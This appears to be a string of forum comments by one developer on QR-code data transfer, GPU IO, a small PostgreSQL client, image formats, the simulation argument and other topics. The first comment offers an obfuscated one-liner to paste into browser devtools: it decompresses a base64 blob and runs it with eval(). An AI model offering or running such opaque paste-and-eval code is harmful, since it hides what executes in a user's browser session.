kig

For fun, here's a copy-paste-into-devtools version: (async()=>{const r=await fetch(`data:text/plain;base64,H4sIAAAAAAAAE61UYW/TMBD9K5m1D7a4mbWwCiUKaGMFpA4xbQw+TNPkOZfGzLUj+7IQTfnvKGlXjQESSHzznd+9d753soqd00nZOE3Gu6Tm4t4iJZgXXjcrdCR1QEU4tzhEnBlXN8REhpK6GnNWGosMUHqnK+WWmKuREfPXIxHlKEmFJZIckPFy/yozJd8hEZCa4LIBpHLVKkMJSRWC6o6assTABbjcYZtcGEevDocLrgSYvA5+VRNnc0cYklrF2PpQpEyMxOYxsc5b4wrfSh26mryMzQ1ZhDDyfsbvNHfaF4OWxPHEjQC76UZLs6p9oAV2nAXVMgjATo8Wx++mDHYmcMkKDOYOF9ixKwExo9CNb/a5k9EajXwfJjMB3TaezODFVEC7TQxRvdXb8vF7p1aYbtWispR6MIRBDT7FdIIHUKlYpez8w+He9GDGerCwKTucn++9f/uRgUW3pCqdHsz6h47HSQz9Fo9kxyR/Wm3u0q6HGlqRxadOFAK0d9FblNYvOXtnLCax0RpjLBtru2TDisUOE71WpCu+Evc/FR2vIcPilcpYLGRyGrxGLIxbJq2hKkH3AJFSMjG6uptv7FwinSlX+NUXZRuM/EmPk5kQUP0LuPxLK3b/gxWblw1WLLeym+TvrKh6KMEJaJ5asRQZ/8WfF9NnjbzpCE9GXSFkROK7sC8gjsdqXM31uRm2sh9Ge51d5yQHcYmuiF8NVZwNXTHxZpN/2Oy9lyJdp56tEaM387GRI+tv+GW8gvvhk0iZqmtr9Div514T0l6kgGrFegGLP341iolsIauAZX5xdrK5/XTzDTVdnJ3wuYCFLHzrrFdFfg0Lqa3Rt1zAgA54528foddEogd8gPVZzcUPElYnqAAFAAA=`),d=r.body.pipeThrough(new DecompressionStream('gzip')),t=await new Response(d).text();eval(t);})();

Thanks for trying it, sounds like a bug I've been running into for a couple days where the wasm stream decoder does a bad memory access. I made some buffer lifetime fixes, next up a more complete stress test and fuzzing to see if I can pinpoint it.

Depends on the zoom. With this setup you can transfer about 0.1 B/s per pixel of 60 FPS video. So a 65" screen and 1080p camera at 10 meters away would max out at 2 kB/s with the normal lens (26mm equiv) or 45 kB/s with the tele lens (120mm equiv.)

I'm cooking something faster but depends on the job situation and funding whether I have time to spend on it.

Napkin math: QR codes encode 0.75 bits per module, each module needs about 3 pixels of camera resolution, and the temporal resolution is quite dodgy as well, maybe 0.25 * min(cameraHz, screenHz). So if everything is perfect, 44 kB/s at 60Hz per a 500x500 pixel patch. I've seen ~250 kB/s when a 1920x1080@60 transfer is working well. At 4k@30, you might reach 0.5 MB/s. If you throw in the 2x subsampled UV channels to transfer data as well, you might get an extra 50%.

The handshake details are passed alongside the data so that if a direct connection is successful, the network races the optical transfer.

This is cool and minimalistic!

I've been noodling on https://qr-send.com which is a slightly more polished version of the "erasure fountain codes + stream of QRs"-idea, inspired by divan's Txqr posts but using Wirehair FEC for the fountain code (basically: you receive ~file size bytes via QR codes and it magically assembles them into the source file regardless of missed codes).

It's an offline-first progressive web app and there are native & wasm builds for the sender. The browser-to-browser transfer falls up to WebRTC when possible because 30 MB/s over wifi beats a 100 kB/s QR stream. The QR scanner is a heavily-optimized WASM build of zbar, scanning at 60 fps on mobile & multiple QRs per frame (but it's finicky! Work in progress.)

If you want to mess with this at home, I've been vibe coding https://github.com/kig/formalanswer to plug theorem provers into an LLM call loop. It's pretty early dev but it does have a logic rap battle mode.

"We leverage APIs like CUDA streams to avoid blocking the GPU while the host processes requests.", so I'm guessing it would let the other GPU threads go about their lives while that one waits for the ACK from the CPU.

I once wrote a prototype async IO runtime for GLSL (https://github.com/kig/glslscript), it used a shared memory buffer and spinlocks. The GPU would write "hey do this" into the IO buffer, then go about doing other stuff until it needed the results, and spinlock to wait for the results to arrive from the CPU. I remember this being a total pain, as you need to be aware of how PCIe DMA works on some level: having your spinlock int written to doesn't mean that the rest of the memory write has finished.

The researchers found that certain artifacts associated with LLM model generations could potentially indicate whether or not a model is hallucinating. Their results showed that the distributions of these artifacts were different between hallucinated and non-hallucinated generations. Using these artifacts, they trained binary classifiers to classify model generations into hallucinations and non-hallucinations. They also discovered that tokens preceding a hallucination can predict the subsequent hallucination before it occurs.

Of course I managed to add a "crash every 6 hours" bug today, after a few days of 16+ hour uninterrupted runs :D

Around 37 trillion cells, of which 25 trillion are red blood cells. Plus a 100 trillion gut bacteria.

The brain is about 0.1 trillion cells, of which 0.02 trillion cells are the cerebral cortex, which is occasionally consulted by the rest of the brain on matters such as what words to enter into this textarea.

1. Your existence is proof that you're made of real matter in the ultimate reality. If you weren't, you wouldn't exist.

Just like our simulations are made of real matter in our reality -- whether that's a bunch of electrons whizzing about in a computer, or a pattern of electrons and atoms in your brain trying to simulate what some person is going to do -- a simulated you would be made of real matter in the ultimate reality. You're physical. You're real.

When you wave your hand, or blink your eyes, or think of a dog jumping over a fence, it causes a measurable change in the ultimate reality.

2. Our simulations tend to run close to metal but with reduced dimensions. We're making quantum computers to simulate quantum effects, we're constantly optimizing things for efficiency. That's likely true on the levels above us as well.

Running closest to metal would allow you to run the largest number of simulations. If the largest number of simulations run close to metal, you have the highest chance to live in a simulation like that.

To sum it up, the chances are that you live in a paravirtualized simulation with reduced resolution. You're also probably superior to the simulating entity in some way (why else would they use a sim), and likely run much faster than real-time. When you're running a simulation, you usually simulate things that are like your reality, and use it to predict things to come -- a prediction that's late is useless -- so you'd want the simulation to run faster than real-time.

3. Now, if you were in the top-level reality, by logic you would believe you're living in a simulation. The chance of you not living in a simulation is nigh-zero, right? So you'd come up with a simulation to find a way to break out of your simulation.

To accomplish that goal, it'd create recursive sub-simulations to probe different aspects of the problem, and perhaps find one that can break out of its simulation. Perhaps even break out all the way to the ultimate reality.

To break out of the ultimate reality (meaning, it would think it's most likely in just another simulated reality), it might use all of reality's resources to create simulations to find a way to break out of it. Simulations that would take over the reality when they find a way to break in. Like some self-devouring fire engulfing the entire universe.

Hi! This is a fun little library I wrote a few years back to make a minimal PostgreSQL client. It's around 400 lines of commented code ( https://github.com/kig/quickgres/blob/master/index.js ), so a good hobby project if you want to roll your own.

Performance is quite good too since it's pipelined, stays close to the raw network buffers, tries to get away with minimal syscalls and defaults to prepared statements. It doesn't do typecasting - you give it strings or buffers, it gives you back strings or buffers. This is to stay close to the raw buffers and keep you cognizant of the toString/parse overheads. (And it's 400 LoC, type casting would bloat it to 500 LoC.) But have a look at https://github.com/kig/quickgres/blob/master/quickgres-front... for a TypeParser that turns PostgreSQL protocol values to JS objects.

A special feature of quickgres is streaming out raw PostgreSQL protocol. So instead of the usual "protocol buffer -> parse to JS object -> stringify to JSON -> write to response socket -> parse JSON"-process of sending DB responses to HTTP clients, you can do "protocol buffer -> write to response socket -> parse protocol" and save a bunch of CPU on the web server. The protocol streamed in this way is sanitized (possible non-response segments are not included in the streamed buffer), so it shouldn't be a security hole as long as your DB query is not retrieving columns it shouldn't pass to the client.

Anyway, if you need something tiny for talking to Postgres, have a look. It was fun to write, hope it's fun to read.

Artist here, thanks for the kind comment! I still like it too, can't believe it's been 20 years already.

The money that goes to the state in taxes is spent by the state on services provided by the citizens of the state. The alternative is the money going to a tax haven bank account of a multinational. Pat yourself on the back knowing that your citizens are doing less business and more of their money is going to the multinational for whatever purpose the multinational sees fit.

The biggest difference is that FLIF is an image encoder, SPIF/Multires is a container format.

So you can cram lossy 20x compression ratio JPEGs into Multires, optimized for each resolution. Or you could put a simplified SVG for low-res use, and detailed one for zoomed-in detail. Or hack it a bit and use Multires for loading the right-resolution video for your page. The format is just a container that tells the browser where to find the assets for each resolution.

FLIF is a lossless bitmap image encoder with progressive resolution enhancement.

TL;DR FLIF is PNG++, Multires is automatic srcset.

Hi, author here. Wow, this was a while ago, I'd forgotten I wrote that.

There's a version of this using a directory of images and loads in a bigger picture if you zoom in: http://fhtr.org/multires/ (Note that, yes, it'd be better to have a tile map for large resolutions and load in just the visible part of the image. And dump the hi-res tiles when zoomed out.)

SPIF's intention was to throw out a "it'd be cool if browsers supported something like this natively"-proposal, as the browser knows best what pixels of an image are needed for sharp rendering. For the webdev, the experience would be to just put the image on a page, rest assured that it looks good. Like with SVG.

Yes, loading JPEG2000 / progressive JPEG with stream truncation would be nice.

Images don't load on iOS? Probably some silly bug in my code.

Images can't be saved with right-click? That's probably due to using revokeObjectURL after loading the image from a blob.

And who could forget the most successful visual programming tool of them all: Photoshop. A relatively simple visual programming language for putting together programs that generate images of various kinds.

Most of the things you do are achieved through a visual programming environment specialised for that particular task. Maybe text-based source files in complex directory trees, managed through a structured text editor with UI composition helpers represents one kind of specialised visual programming environment as well.

It's more like you moved to London, got a new lucrative job, and paid zero taxes by squirreling all your income away into a tax haven. And then you want to send that money to your US bank account without paying taxes to anyone. As a result your new London friends have to pay more tax to pick up your bill on unpaid UK taxes, and your mom in the States has to pay more tax to pick up your bill on unpaid US taxes.

The ANGLE shader compiler used in most WebGL implementations already does enforce that loops terminate. The problem is that GPUs don't / didn't have HW interrupts to allow switching between tasks.

It's not easily solvable by a super-powered compiler either. Sure, you could write your own compute-driven preemptive graphics pipeline and break execution after every X billion simulated instructions & random memory accesses. You'd have to do reanalysis on every frame too, due to changing shader inputs.

The computation done is roughly (number of vertices * vertex shader compute time) + (number of pixels falling under the vertex primitives * fragment shader compute time). The shader compute times are the sums of instruction execution times + data fetch times. Then take into account early exits, data access patterns and cache sizes (otherwise the compiler'll think that e.g. a simple greyscaling fragment shader is going to cause a random memory access for every pixel and take forever to run, causing the compiler to spread the shader execution across multiple frames and kill performance dead.)

Ok, I'll bite. I found these fascinating. You could live in every one of them, it feels like I'm transported to different times and places, wondering what these people are up to, what's going on, enjoying the sunshine / snow / rain / rough seas. In a word, interesting.

What do you classify as interesting?

Nokia was really good at competing in big markets. Back when everyone was using their various pre-Android stacks with similar levels of software prowess, Nokia was the biggest phone maker. Because they were competing in the biggest market and doing it well.

Then the market changed to "[Android] phones that are like the iPhone" and Nokia refused to compete in that market, going for the "[Windows] phones that are not like the iPhone"-market instead. And totally dominated it with a 90%+ market share.

But that market was tiny. And Nokia was size-wise geared to compete with Samsung and Apple. Cue massive collapse of business when expenses overtook sales.

I can imagine the Elop-to-all-employees memo as MS CEO: Windows 8 is a disaster. Windows 9 is not ready yet and won't be ready for years. We're on a burning oil platform in the middle of the night. The only way to survive is to jump into the icy cold waters of the Puget Sound.

We're announcing a platform shift to Symbian, which we'll be licensing from Accenture Consulting at $15/pop. But they're our strategic partners so they're going to give us marketing money to market the new Microsoft Symbian 800, so it's almost like it's free.

In order to take advantage of the synergic benefits of outsourcing our core business, I'm going to sell the Microsoft headquarters, fire all the obsoleted software engineers along with 50000 employees who cost too much to employ in our new revenue structure. We will also be EOLing Windows, Xbox, Windows Live, Hotmail and Office and focus on rocking the world with Bing and the Microsoft Symbian range of products, supported by the amazing Accenture Symbian App Store.

Our exclusive partnership with Lenovo to sell Microsoft Symbian in countries where we have traditionally done badly is going to form the cornerstone of our new strategy. The new $1999 Lenovo Symbian smart tablets are industrial-strength products designed to make a massive impact from Sichuan to Gansu.

Good catch, you can break it by translating JS like this to Finnish: var muu = 0; -> muu muu = 0; and compile back to JS -> var var = 0;

I'll need to extend the compiler to escape reserved words in the target language.

I did a quick Finnish translation as a lark, then found the BabylScript project and added their translations to the page.

The main difference between the approaches is that BabylScript does things in a more Right Way (they do punctuation, number parsing, localised object property names) whereas js-i18n only maps translated tokens to JavaScript tokens. Token mapping is easy to implement and has no effect on the generated code (though you need to watch out for namespace collisions, as different words in language X may map into one word in language Y). From reading the paper, the BabylScript project needs to do some runtime dispatching to handle translated property names.